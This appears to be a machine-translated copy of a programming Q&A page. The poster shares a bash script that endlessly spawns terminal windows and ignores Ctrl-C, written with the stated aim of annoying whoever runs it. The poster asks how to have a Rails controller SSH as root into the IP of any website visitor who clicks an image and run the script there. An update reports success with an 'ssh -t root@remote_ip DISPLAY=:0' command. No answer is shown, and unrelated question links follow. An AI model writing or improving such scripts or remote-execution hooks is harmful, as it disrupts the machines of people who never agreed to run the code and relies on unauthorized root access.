bash - 在远程主机上运行本地 bash 脚本
问题描述
我有这个 bash 脚本,它反复打开一个终端而无法关闭它们并一个接一个地保留。目标是惹恼任何碰巧执行此程序的人。这是它的源代码:
#!/bin/bash
while true
do
gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
clear
sleep 1
trap '' 2
exit
done
我已经对此进行了测试,它确实按照我想要的方式工作。我想要做的是在远程主机上执行这个脚本。在 ruby on rails 网站上,我设置了一个图像以尝试通过单击它来运行此脚本。当有人这样做时,他们将运行一个名为 call_script2 的控制器函数,这就是我目前所拥有的:
def call_script2
remote_ip = request.ip
#system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
render 'script/index'
end
我想要完成的是当他们单击某个图像时在远程主机上运行 bash 脚本的内容。如您所见,我尝试将主机的脚本上传到根目录下,然后尝试运行 bash 程序,但没有成功。如果这做不到,我完全可以使用 SSH 以外的东西。
请随时分享您对此的想法,并感谢您花时间阅读我的帖子。祝你有美好的一天!
更新:我能够通过使用以下方法来实现这个目标:
system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")
感谢所有对这篇文章发表评论以帮助我的人!
解决方案
推荐阅读
- google-sheets - 索引匹配和求和值
- python - 如何从文本文件中打印字符串,在 Python 中用换行符分隔
- python - 使用单独的颜色条绘制多个 seaborn 热图
- c# - IIS App设置物理路径指向不同的文件夹位置?
- cloud - 如何获取暂存文件雪花中的列数
- button - Openlayers draw button
- excel - 如何在不崩溃文件的情况下运行大量 STOCKHISTORY 函数?也许字体,工作簿的数量,文件引用的数量?
- git - VS-Code 远程容器克隆命令什么都不做/不起作用
- java - 我无法从 ResultSet 实例中找到 next() 方法
- c - 在 C 中为不同数据类型分配内存的正确方法是什么?